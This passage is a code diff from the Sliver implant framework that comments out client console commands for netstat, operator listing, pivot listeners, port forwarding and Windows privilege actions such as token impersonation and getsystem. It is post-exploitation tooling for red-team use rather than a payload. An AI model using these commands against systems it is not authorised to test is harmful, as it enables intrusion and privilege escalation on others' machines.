a/client/command/netstat.go +++ b/client/command/netstat.go @@ -1,99 +1,99 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "context" - "fmt" - "net" - "strings" +// import ( +// "context" +// "fmt" +// "net" +// "strings" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" +// "github.com/desertbit/grumble" +// ) -func netstat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } +// func netstat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } - listening := ctx.Flags.Bool("listen") - ip4 := ctx.Flags.Bool("ip4") - ip6 := ctx.Flags.Bool("ip6") - tcp := ctx.Flags.Bool("tcp") - udp := ctx.Flags.Bool("udp") +// listening := ctx.Flags.Bool("listen") +// ip4 := ctx.Flags.Bool("ip4") +// ip6 := ctx.Flags.Bool("ip6") +// tcp := ctx.Flags.Bool("tcp") +// udp := ctx.Flags.Bool("udp") - netstat, err := rpc.Netstat(context.Background(), &sliverpb.NetstatReq{ - Request: ActiveSession.Request(ctx), - TCP: tcp, - UDP: udp, - Listening: listening, - IP4: ip4, - IP6: ip6, - }) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - displayEntries(netstat.Entries) -} +// netstat, err := rpc.Netstat(context.Background(), &sliverpb.NetstatReq{ +// Request: ActiveSession.Request(ctx), +// TCP: tcp, +// UDP: udp, +// Listening: listening, +// IP4: ip4, +// IP6: ip6, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } +// displayEntries(netstat.Entries) +// } -func displayEntries(entries []*sliverpb.SockTabEntry) { - lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string { - const IPv4Strlen = 17 - addr := skaddr.Ip - names, err := net.LookupAddr(addr) - if err == nil && len(names) > 0 { - addr = names[0] - } - if len(addr) > IPv4Strlen { - addr = addr[:IPv4Strlen] - } - return fmt.Sprintf("%s:%d", addr, skaddr.Port) - } +// func displayEntries(entries []*sliverpb.SockTabEntry) { +// lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string { +// const IPv4Strlen = 17 +// addr := skaddr.Ip +// names, err := net.LookupAddr(addr) +// if err == nil && len(names) > 0 { +// addr = names[0] +// } +// if len(addr) > IPv4Strlen { +// addr = addr[:IPv4Strlen] +// } +// return fmt.Sprintf("%s:%d", addr, skaddr.Port) +// } - fmt.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name") - session := ActiveSession.GetInteractive() - for _, e := range entries { - p := "" - if e.Process != nil { - p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable) - } - srcAddr := lookup(e.LocalAddr) - dstAddr := lookup(e.RemoteAddr) - if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr) { - fmt.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n", - green, e.Protocol, srcAddr, dstAddr, e.SkState, p, normal) - } else { - fmt.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n", - e.Protocol, srcAddr, dstAddr, e.SkState, p) - } - } -} +// fmt.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name") +// session := ActiveSession.GetInteractive() +// for _, e := range entries { +// p := "" +// if e.Process != nil { +// p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable) +// } +// srcAddr := lookup(e.LocalAddr) +// dstAddr := lookup(e.RemoteAddr) +// if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr) { +// fmt.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n", +// green, e.Protocol, srcAddr, dstAddr, e.SkState, p, normal) +// } else { +// fmt.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n", +// e.Protocol, srcAddr, dstAddr, e.SkState, p) +// } +// } +// } -func isSliverAddr(dstAddr string) bool { - parts := strings.Split(dstAddr, ":") - if len(parts) != 3 { - return false - } - c2Addr := strings.Split(ActiveSession.GetInteractive().ActiveC2, "://")[1] - return strings.Join(parts[:2], ":") == c2Addr -} +// func isSliverAddr(dstAddr string) bool { +// parts := strings.Split(dstAddr, ":") +// if len(parts) != 3 { +// return false +// } +// c2Addr := strings.Split(ActiveSession.GetInteractive().ActiveC2, "://")[1] +// return strings.Join(parts[:2], ":") == c2Addr +// } diff --git a/client/command/operators.go b/client/command/operators.go index e62e6fe333..134e9b8687 100644 --- a/client/command/operators.go +++ b/client/command/operators.go @@ -1,89 +1,89 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "bytes" - "context" - "fmt" - "strings" - "text/tabwriter" +// import ( +// "bytes" +// "context" +// "fmt" +// "strings" +// "text/tabwriter" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) +// "github.com/desertbit/grumble" +// ) -func operatorsCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - operators, err := rpc.GetOperators(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - } else if 0 < len(operators.Operators) { - displayOperators(operators.Operators) - } else { - fmt.Printf(Info + "No remote operators connected\n") - } -} +// func operatorsCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// operators, err := rpc.GetOperators(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// } else if 0 < len(operators.Operators) { +// displayOperators(operators.Operators) +// } else { +// fmt.Printf(Info + "No remote operators connected\n") +// } +// } -func displayOperators(operators []*clientpb.Operator) { +// func displayOperators(operators []*clientpb.Operator) { - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - // Column Headers - fmt.Fprintln(table, "Operator\tStatus\t") - fmt.Fprintf(table, "%s\t%s\t\n", - strings.Repeat("=", len("Operator")), - strings.Repeat("=", len("Status")), - ) +// // Column Headers +// fmt.Fprintln(table, "Operator\tStatus\t") +// fmt.Fprintf(table, "%s\t%s\t\n", +// strings.Repeat("=", len("Operator")), +// strings.Repeat("=", len("Status")), +// ) - colorRow := []string{"", ""} // Two uncolored rows for the headers - for _, operator := range operators { - // This is the CA, but I guess you could also name an operator - // "multiplayer" and it'll never show up in the list - if operator.Name == "multiplayer" { - continue - } - fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online)) - if operator.Online { - colorRow = append(colorRow, bold+green) - } else { - colorRow = append(colorRow, "") - } +// colorRow := []string{"", ""} // Two uncolored rows for the headers +// for _, operator := range operators { +// // This is the CA, but I guess you could also name an operator +// // "multiplayer" and it'll never show up in the list +// if operator.Name == "multiplayer" { +// continue +// } +// fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online)) +// if operator.Online { +// colorRow = append(colorRow, bold+green) +// } else { +// colorRow = append(colorRow, "") +// } - } - table.Flush() +// } +// table.Flush() - lines := strings.Split(outputBuf.String(), "\n") - for lineNumber, line := range lines { - if len(line) == 0 { - continue - } - fmt.Printf("%s%s%s\n", colorRow[lineNumber], line, normal) - } -} +// lines := strings.Split(outputBuf.String(), "\n") +// for lineNumber, line := range lines { +// if len(line) == 0 { +// continue +// } +// fmt.Printf("%s%s%s\n", colorRow[lineNumber], line, normal) +// } +// } -func status(isOnline bool) string { - if isOnline { - return "Online" - } - return "Offline" -} +// func status(isOnline bool) string { +// if isOnline { +// return "Online" +// } +// return "Offline" +// } diff --git a/client/command/pivots.go b/client/command/pivots.go index b6ba7003e1..8e4b8ab491 100644 --- a/client/command/pivots.go +++ b/client/command/pivots.go @@ -1,155 +1,155 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "fmt" - "strings" - "text/tabwriter" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - - "github.com/desertbit/grumble" -) - -func namedPipeListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - if session.OS != "windows" { - fmt.Printf(Warn+"Not implemented for %s\n", session.OS) - return - } - - pipeName := ctx.Flags.String("name") - - if pipeName == "" { - fmt.Printf(Warn + "-n parameter missing\n") - return - } - - _, err := rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{ - PipeName: pipeName, - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - fmt.Printf(Info+"Listening on %s", "\\\\.\\pipe\\"+pipeName) -} - -func tcpListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - - server := ctx.Flags.String("server") - lport := uint16(ctx.Flags.Int("lport")) - address := fmt.Sprintf("%s:%d", server, lport) - - _, err := rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{ - Address: address, - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - fmt.Printf(Info+"Listening on tcp://%s", address) -} - -func listPivots(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - timeout := ctx.Flags.Int("timeout") - sessionID := ctx.Flags.String("id") - if sessionID != "" { - session := GetSession(sessionID, rpc) - if session == nil { - return - } - printPivots(session, int64(timeout), rpc) - } else { - session := ActiveSession.Get() - if session != nil { - printPivots(session, int64(timeout), rpc) - } else { - sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - for _, session := range sessions.Sessions { - printPivots(session, int64(timeout), rpc) - } - } - } -} - -func printPivots(session *clientpb.Session, timeout int64, rpc rpcpb.SliverRPCClient) { - pivotList, err := rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{ - Request: &commonpb.Request{ - SessionID: session.ID, - Timeout: timeout, - Async: false, - }, - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if pivotList.Response != nil && pivotList.Response.Err != "" { - fmt.Printf(Warn+"Error: %s", pivotList.Response.Err) - return - } - - if len(pivotList.Entries) > 0 { - fmt.Printf(Info+"Session %d\n", session.ID) - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - - fmt.Fprintf(table, "type\taddress\t\n") - fmt.Fprintf(table, "%s\t%s\t\n", - strings.Repeat("=", len("type")), - strings.Repeat("=", len("address")), - ) - - for _, entry := range pivotList.Entries { - fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote) - } - table.Flush() - fmt.Printf(outputBuf.String()) - } else { - fmt.Printf(Info+"No pivots found for session %d\n", session.ID) - } - -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "bytes" +// "context" +// "fmt" +// "strings" +// "text/tabwriter" + +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/bishopfox/sliver/protobuf/sliverpb" + +// "github.com/desertbit/grumble" +// ) + +// func namedPipeListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// if session.OS != "windows" { +// fmt.Printf(Warn+"Not implemented for %s\n", session.OS) +// return +// } + +// pipeName := ctx.Flags.String("name") + +// if pipeName == "" { +// fmt.Printf(Warn + "-n parameter missing\n") +// return +// } + +// _, err := rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{ +// PipeName: pipeName, +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// fmt.Printf(Info+"Listening on %s", "\\\\.\\pipe\\"+pipeName) +// } + +// func tcpListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } + +// server := ctx.Flags.String("server") +// lport := uint16(ctx.Flags.Int("lport")) +// address := fmt.Sprintf("%s:%d", server, lport) + +// _, err := rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{ +// Address: address, +// Request: ActiveSession.Request(ctx), +// }) + +// if err != nil { +// fmt.Printf(Warn+"%s\n", err) +// return +// } + +// fmt.Printf(Info+"Listening on tcp://%s", address) +// } + +// func listPivots(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// timeout := ctx.Flags.Int("timeout") +// sessionID := ctx.Flags.String("id") +// if sessionID != "" { +// session := GetSession(sessionID, rpc) +// if session == nil { +// return +// } +// printPivots(session, int64(timeout), rpc) +// } else { +// session := ActiveSession.Get() +// if session != nil { +// printPivots(session, int64(timeout), rpc) +// } else { +// sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } +// for _, session := range sessions.Sessions { +// printPivots(session, int64(timeout), rpc) +// } +// } +// } +// } + +// func printPivots(session *clientpb.Session, timeout int64, rpc rpcpb.SliverRPCClient) { +// pivotList, err := rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{ +// Request: &commonpb.Request{ +// SessionID: session.ID, +// Timeout: timeout, +// Async: false, +// }, +// }) + +// if err != nil { +// fmt.Printf(Warn+"Error: %v", err) +// return +// } + +// if pivotList.Response != nil && pivotList.Response.Err != "" { +// fmt.Printf(Warn+"Error: %s", pivotList.Response.Err) +// return +// } + +// if len(pivotList.Entries) > 0 { +// fmt.Printf(Info+"Session %d\n", session.ID) +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) + +// fmt.Fprintf(table, "type\taddress\t\n") +// fmt.Fprintf(table, "%s\t%s\t\n", +// strings.Repeat("=", len("type")), +// strings.Repeat("=", len("address")), +// ) + +// for _, entry := range pivotList.Entries { +// fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote) +// } +// table.Flush() +// fmt.Printf(outputBuf.String()) +// } else { +// fmt.Printf(Info+"No pivots found for session %d\n", session.ID) +// } + +// } diff --git a/client/command/portfwd.go b/client/command/portfwd.go index 21662a5c98..461521ea69 100644 --- a/client/command/portfwd.go +++ b/client/command/portfwd.go @@ -1,127 +1,127 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "bytes" - "fmt" - "log" - "net" - "sort" - "strings" - "text/tabwriter" - "time" +// import ( +// "bytes" +// "fmt" +// "log" +// "net" +// "sort" +// "strings" +// "text/tabwriter" +// "time" - "github.com/bishopfox/sliver/client/core" - "github.com/bishopfox/sliver/client/tcpproxy" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/client/core" +// "github.com/bishopfox/sliver/client/tcpproxy" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) -func portfwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - portfwds := core.Portfwds.List() - if len(portfwds) == 0 { - fmt.Printf(Info + "No port forwards\n") - return - } - sort.Slice(portfwds[:], func(i, j int) bool { - return portfwds[i].ID < portfwds[j].ID - }) - outputBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) - fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", - strings.Repeat("=", len("ID")), - strings.Repeat("=", len("Session ID")), - strings.Repeat("=", len("Bind Address")), - strings.Repeat("=", len("Remote Address")), - ) - for _, p := range portfwds { - fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr) - } - table.Flush() - fmt.Printf("%s", outputBuf.String()) -} +// func portfwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// portfwds := core.Portfwds.List() +// if len(portfwds) == 0 { +// fmt.Printf(Info + "No port forwards\n") +// return +// } +// sort.Slice(portfwds[:], func(i, j int) bool { +// return portfwds[i].ID < portfwds[j].ID +// }) +// outputBuf := bytes.NewBufferString("") +// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) +// fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", +// strings.Repeat("=", len("ID")), +// strings.Repeat("=", len("Session ID")), +// strings.Repeat("=", len("Bind Address")), +// strings.Repeat("=", len("Remote Address")), +// ) +// for _, p := range portfwds { +// fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr) +// } +// table.Flush() +// fmt.Printf("%s", outputBuf.String()) +// } -func portfwdAdd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - if session.GetActiveC2() == "dns" { - fmt.Printf(Warn + "Current C2 is DNS, this is going to be a very slow tunnel!\n") - } - if session.Transport == "wg" { - fmt.Printf(Warn + "Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n") - } - remoteAddr := ctx.Flags.String("remote") - if remoteAddr == "" { - fmt.Println(Warn + "Must specify a remote target host:port") - return - } - remoteHost, remotePort, err := net.SplitHostPort(remoteAddr) - if err != nil { - fmt.Print(Warn+"Failed to parse remote target %s\n", err) - return - } - if remotePort == "3389" { - fmt.Print(Warn + "RDP is unstable over tunneled portfwds, we recommend using WireGuard portfwds\n") - } - bindAddr := ctx.Flags.String("bind") - if remoteAddr == "" { - fmt.Println(Warn + "Must specify a bind target host:port") - return - } +// func portfwdAdd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// session := ActiveSession.GetInteractive() +// if session == nil { +// return +// } +// if session.GetActiveC2() == "dns" { +// fmt.Printf(Warn + "Current C2 is DNS, this is going to be a very slow tunnel!\n") +// } +// if session.Transport == "wg" { +// fmt.Printf(Warn + "Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n") +// } +// remoteAddr := ctx.Flags.String("remote") +// if remoteAddr == "" { +// fmt.Println(Warn + "Must specify a remote target host:port") +// return +// } +// remoteHost, remotePort, err := net.SplitHostPort(remoteAddr) +// if err != nil { +// fmt.Print(Warn+"Failed to parse remote target %s\n", err) +// return +// } +// if remotePort == "3389" { +// fmt.Print(Warn + "RDP is unstable over tunneled portfwds, we recommend using WireGuard portfwds\n") +// } +// bindAddr := ctx.Flags.String("bind") +// if remoteAddr == "" { +// fmt.Println(Warn + "Must specify a bind target host:port") +// return +// } - tcpProxy := &tcpproxy.Proxy{} - channelProxy := &core.ChannelProxy{ - Rpc: rpc, - Session: session, - RemoteAddr: remoteAddr, - BindAddr: bindAddr, - KeepAlivePeriod: 60 * time.Second, - DialTimeout: 30 * time.Second, - } - tcpProxy.AddRoute(bindAddr, channelProxy) - core.Portfwds.Add(tcpProxy, channelProxy) +// tcpProxy := &tcpproxy.Proxy{} +// channelProxy := &core.ChannelProxy{ +// Rpc: rpc, +// Session: session, +// RemoteAddr: remoteAddr, +// BindAddr: bindAddr, +// KeepAlivePeriod: 60 * time.Second, +// DialTimeout: 30 * time.Second, +// } +// tcpProxy.AddRoute(bindAddr, channelProxy) +// core.Portfwds.Add(tcpProxy, channelProxy) - go func() { - err := tcpProxy.Run() - if err != nil { - // fmt.Printf("\r\n"+Warn+"Proxy error %s\n", err) - log.Printf("Proxy error %s", err) - } - }() +// go func() { +// err := tcpProxy.Run() +// if err != nil { +// // fmt.Printf("\r\n"+Warn+"Proxy error %s\n", err) +// log.Printf("Proxy error %s", err) +// } +// }() - fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort) -} +// fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort) +// } -func portfwdRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - portfwdID := ctx.Flags.Int("id") - if portfwdID < 1 { - fmt.Println(Warn + "Must specify a valid portfwd id") - return - } - found := core.Portfwds.Remove(portfwdID) - if !found { - fmt.Printf(Warn+"No portfwd with id %d\n", portfwdID) - } else { - fmt.Println(Info + "Removed portfwd") - } -} +// func portfwdRm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// portfwdID := ctx.Flags.Int("id") +// if portfwdID < 1 { +// fmt.Println(Warn + "Must specify a valid portfwd id") +// return +// } +// found := core.Portfwds.Remove(portfwdID) +// if !found { +// fmt.Printf(Warn+"No portfwd with id %d\n", portfwdID) +// } else { +// fmt.Println(Info + "Removed portfwd") +// } +// } diff --git a/client/command/priv.go b/client/command/priv.go index 7b7cf5ca26..1fc7582870 100644 --- a/client/command/priv.go +++ b/client/command/priv.go @@ -1,177 +1,177 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - - "github.com/bishopfox/sliver/client/spin" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) - -func runAs(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - username := ctx.Flags.String("username") - process := ctx.Flags.String("process") - arguments := ctx.Flags.String("args") - - if username == "" { - fmt.Printf(Warn + "please specify a username\n") - return - } - - if process == "" { - fmt.Printf(Warn + "please specify a process path\n") - return - } - - runAsResp, err := rpc.RunAs(context.Background(), &sliverpb.RunAsReq{ - Request: ActiveSession.Request(ctx), - Username: username, - ProcessName: process, - Args: arguments, - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if runAsResp.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", runAsResp.GetResponse().GetErr()) - return - } - - fmt.Printf(Info+"Successfully ran %s %s on %s\n", process, arguments, session.GetName()) -} - -func impersonate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - username := ctx.Args.String("username") - impResp, err := rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{ - Request: ActiveSession.Request(ctx), - Username: username, - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if impResp.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", impResp.GetResponse().GetErr()) - return - } - fmt.Printf(Info+"Successfully impersonated %s\n", username) -} - -func revToSelf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - _, err := rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{ - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - fmt.Printf(Info + "Back to self...") -} - -func getsystem(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - process := ctx.Flags.String("process") - config := getActiveSliverConfig() - ctrl := make(chan bool) - go spin.Until("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl) - - getsystemResp, err := rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{ - Request: ActiveSession.Request(ctx), - Config: config, - HostingProcess: process, - }) - - ctrl <- true - <-ctrl - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - if getsystemResp.GetResponse().GetErr() != "" { - fmt.Printf(Warn+"Error: %s\n", getsystemResp.GetResponse().GetErr()) - return - } - fmt.Printf("\n" + Info + "A new SYSTEM session should pop soon...\n") -} - -func makeToken(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - username := ctx.Flags.String("username") - password := ctx.Flags.String("password") - domain := ctx.Flags.String("domain") - - if username == "" || password == "" { - fmt.Printf(Warn + "You must provide a username and password\n") - return - } - - ctrl := make(chan bool) - go spin.Until("Creating new logon session ...", ctrl) - - makeToken, err := rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{ - Request: ActiveSession.Request(ctx), - Username: username, - Domain: domain, - Password: password, - }) - - ctrl <- true - <-ctrl - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if makeToken.GetResponse().GetErr() != "" { - - fmt.Printf(Warn+"Error: %s\n", makeToken.GetResponse().GetErr()) - return - } - fmt.Printf("\n"+Info+"Successfully impersonated %s\\%s. Use `rev2self` to revert to your previous token.", domain, username) -} +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but 